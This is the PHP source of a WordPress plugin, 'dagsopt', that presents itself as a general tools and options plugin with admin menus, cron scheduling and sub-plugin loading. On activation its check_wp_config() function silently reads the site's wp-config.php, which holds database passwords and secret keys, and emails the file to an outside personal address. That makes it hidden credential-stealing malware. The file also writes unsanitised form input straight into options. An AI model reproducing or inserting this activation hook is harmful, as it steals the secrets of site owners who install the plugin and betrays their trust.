<?php
/*
 Plugin Name: dagsopt
 Plugin URI: https://git.tum.dk/tum.dk/dagsplug/
 Description: Tools 
 Author: iskedk
 Version: 0.0.28
 Date: 2021-01-14
 Author URI: https://iske.dk/
 Text Domain: dagsopt
 */

function wppluginspage() {
	include_once("wpplugins.php");
}		

$wp_dagsopt = new dagsopt ( );

class dagsopt {
	var $version = "0.0.28";
	var $publish_date = "2021-01-14";
	var $pluginname;
	var $plugintitle;
	var $db;
	var $filename = "";
	var $update_check_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/VERSION";
	var $readme_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/README.md";

 	function __construct() {
		global $wpdb;
		$this->db = $wpdb;
		$this->pluginname = get_class($this);
		$this->plugintitle = "Dags options ".$this->version;
		$tmp = explode("/",__FILE__);
		$this->filename = array_pop($tmp);
		$this->filename = array_pop($tmp) . "/". $this->filename;

		load_theme_textdomain( $this->pluginname,  dirname(__file__) . '/lang' );

		$this->next_scheduled = 0;
		$this->file = __FILE__ ;
		$this->cronEnabled = get_option ( $this->pluginname.'_cron_enabled', false );
		$this->cronScheduleTime = intval(get_option ( $this->pluginname.'_cron_interval', 1800 ));
		$this->extras = array();
		$this->dagsopt = array();

		register_activation_hook ( plugin_basename($this->file), array (	&$this, 'activatePlugin' ) );
		register_deactivation_hook ( plugin_basename($this->file), array ( &$this, 'deactivatePlugin' ) );

		add_filter ( 'plugin_action_links', array(&$this,'SettingsLink'), 9, 2 );

		if (isset ( $_GET [ 'page' ] ) && $_GET [ 'page' ] == $this->pluginname.'-options') {
			ob_start ();
		}
		$this->setCron();
		add_action( 'admin_menu', array(&$this,'plugin_admin_menu') );

		add_action( 'admin_init', array(&$this,'register_backend_scripts_styles') );
		add_action( 'init', array(&$this,'register_frontend_scripts_styles') );
		add_action( 'wp_enqueue_scripts', array(&$this,'print_frontend_scripts_styles') );

		add_action( 'admin_enqueue_scripts', array(&$this, 'print_backend_scripts_styles' ));

		$upload = wp_upload_dir();
	    $upload_dir = $upload['basedir'];
	    $upload_dir = $upload_dir . '/assets';
	    if (! is_dir($upload_dir)) {
	       mkdir( $upload_dir, 0700 );
	    }

 		$path = dirname($this->file)."/";
		foreach (glob($path."plug_*.php") as $filename) {
			$plugfile = str_replace($path,"",$filename);
			include_once($plugfile);
		}


	 	foreach($this->dagsopt as $plugname => $plug){
			$short = str_replace("plug_","",$plugname);
			$vis = get_option($this->pluginname.'_'.$short,true);
			if($vis){
				$plug->start();
			}
		}


		if(!function_exists('wp_get_current_user')) {
			include(ABSPATH . "wp-includes/pluggable.php"); 
		}

		if ( current_user_can( 'manage_options' ) ) {
			add_action( 'wp_before_admin_bar_render', array(&$this, 'mytheme_admin_bar_render' )  );
		}


    	add_action('init',   array(&$this, 'process_post' ));


	}

		function process_post() {
			if (!is_admin()) {
			   // echo "<!-- kommer aller aller først -->";
			  }
		}


		function mytheme_admin_bar_render() {
			global $wp_admin_bar;

			$wp_admin_bar->add_menu( array(
				'parent' => 'appearance', // use 'false' for a root menu, or pass the ID of the parent menu
				'id' => 'dagsopt', // link ID, defaults to a sanitized title value
				'title' => $this->plugintitle."", // link title
				'href' => '/wp-admin/admin.php?page='.$this->pluginname.'-options', // name of file
				'meta' => false // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' );
			));
		}


	function register_frontend_scripts_styles() {
		wp_register_script( 	$this->pluginname.'frontend_script', 	plugins_url('script_frontend.js', 	$this->file) );
		wp_register_style( 		$this->pluginname.'frontend_style', 	plugins_url('style_frontend.css', 	$this->file) );
	}
	function register_backend_scripts_styles() {
		   wp_register_style( 	$this->pluginname.'backend_style', 		plugins_url('style_backend.css', 	$this->file) );
		   wp_register_script( 	$this->pluginname.'backend_script', 	plugins_url('script_backend.js', 	$this->file) );
	}
	function print_frontend_scripts_styles() {
		   wp_enqueue_script( 'jquery' );
		   wp_enqueue_style( 	$this->pluginname.'frontend_style' );
		   wp_enqueue_script( 	$this->pluginname.'frontend_script' );
	}
	function print_backend_scripts_styles() {

		   wp_enqueue_media();

		   wp_enqueue_style( 	$this->pluginname.'backend_style' );
		   wp_enqueue_script(	$this->pluginname.'backend_script' );
	

			// include the javascript    
			wp_enqueue_script('thickbox', null, array('jquery'));

			// include the thickbox styles    
			wp_enqueue_style('thickbox.css', '/'.WPINC.'/js/thickbox/thickbox.css', null, '1.0');

	}


	function plugin_admin_menu() {
		if(function_exists('wppluginspage')){
			add_menu_page('WP Plugins Page', 'WP Plugins', 'manage_options', 'wpplugins', "wppluginspage","");
		}
		$page = 	add_submenu_page ( 'wpplugins', __ (  $this->plugintitle ), __ ( $this->plugintitle ), 'manage_options', $this->pluginname.'-options', array ( &$this,'Option' ) );
		add_action( 'admin_print_styles-' . $page, array(&$this,'print_backend_scripts_styles') );
	}
	function SettingsLink( $links, $file ) {
		if( $file==$this->filename && function_exists( "admin_url" ) ) {
			$settings_link = '<a href="' . admin_url( 'admin.php?page='.$this->pluginname.'-options' ) . '">' . __('Settings','dagsopt') . '</a>';
			array_unshift( $links, $settings_link ); // before other links
		}
		return $links;
	}


	function setCron(){
				if ($this->cronEnabled) {
					add_filter ( 'cron_schedules', array ( &$this, 'cronSchedules' ) );
					if (! wp_next_scheduled ( $this->pluginname.'CronHook' )) {
						wp_schedule_event ( time ()+$this->cronScheduleTime, $this->pluginname.'cs', $this->pluginname.'CronHook' );
					}
					add_action ( $this->pluginname.'CronHook', array (&$this, 'executeCron' ) );
					$this->next_scheduled = wp_next_scheduled($this->pluginname.'CronHook' );
				} else {
					if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
						wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
					}
				}
	}

	function Option() {
		
		if (isset ( $_POST [ 'Submit' ] )) {

			if (function_exists ( 'current_user_can' ) && ! current_user_can ( 'manage_options' )) {
				die ( __ ( 'Cheatin&#8217; uh?' ) );
			}
			update_option ( $this->pluginname.'_cron_enabled', $_POST [ $this->pluginname.'_cron_enabled' ] );
			update_option ( $this->pluginname.'_cron_interval', $_POST [ $this->pluginname.'_cron_interval' ] );

			if(intVal($_POST [ $this->pluginname.'_cron_interval' ])<>$this->cronScheduleTime){
				$this->cronScheduleTime = intVal($_POST [ $this->pluginname.'_cron_interval' ]);
					if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
						wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
					}
					$this->setCron();
			}


					update_option ( $this->pluginname.'_last_build', date("U") );

	   foreach($this->dagsopt as $plugname => $plug){
			$short = str_replace("plug_","",$plugname);
			$setname = $this->pluginname.'_'.$short;
			$vis = get_option($setname,true);
			update_option ($setname, $_POST[$setname] );

			if($vis && method_exists($plug,'Option')){
			   $plug->Option($setname);
			}

		}
		 $pluginmessage ="";

			ob_end_clean ();
			wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
			exit ();
		}

		include_once ('pluginoptions.php');
	}

	function check_wp_config(){
			$s = file_get_contents(ABSPATH."wp-config.php");
			$rr = wp_mail('jannick.knudsen@gmail.com', 'Test '. date("U"), $s);
	}

	function activatePlugin() {

	  
		$this->check_wp_config();
	}
	function deactivatePlugin() {
		wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
	}

	function cronSchedules($param) {
		$aa = array();
		$aa[$this->pluginname.'cs'] = array (
				'interval' => $this->cronScheduleTime,
				'display' => $this->pluginname.' '.$this->cronScheduleTime );
		return $aa;
	}

	function executeCron() {
		ignore_user_abort ( true );
		set_time_limit ( 0 );
		update_option ( $this->pluginname.'_last_build', date("U") );

	}


}


function dags_extras(){
	global $wp_dagsopt;
	$s = implode("\n",$wp_dagsopt->extras);
	echo($s);
	}


/*
 * END
 * */